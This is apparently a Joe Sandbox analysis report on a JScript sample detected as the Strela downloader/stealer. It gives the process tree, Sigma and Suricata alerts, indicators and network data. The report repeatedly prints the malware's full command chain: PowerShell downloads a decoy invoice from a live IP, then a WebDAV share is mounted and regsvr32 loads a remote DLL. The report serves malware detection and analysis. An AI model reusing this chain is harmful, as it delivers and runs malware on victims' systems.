Edit tour

Windows Analysis Report
3062912729105825642.js

Overview

General Information

Sample name:	3062912729105825642.js
Analysis ID:	1590529
MD5:	a8e647985b646394c54c5a1e3c743788
SHA1:	ad4332e3361aea7be5e6b84914d38e749d974e0b
SHA256:	9c8f5f4608285717b7605f0eeca941916081d70f57159d0e761f78e471deaefe
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1216 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1856 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3812 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5748 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1548,i,2908860732586160362,9786012212092137693,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5508 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2748 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3040 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1216	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3812, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3812, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", ProcessId: 1216, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2748, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, ProcessId: 1856, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, ProcessId: 1856, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, ProcessId: 1856, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, ProcessId: 1856, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, ProcessId: 1856, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", ProcessId: 1216, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1856, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3812, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5508, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2748, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3040, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5508, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2748, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3062912729105825642.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll, ProcessId: 1856, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:39:00.977630+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:39:03.185944+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:39:00.977630+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 3062912729105825642.js

ReversingLabs: Detection: 13%

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 07:39:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

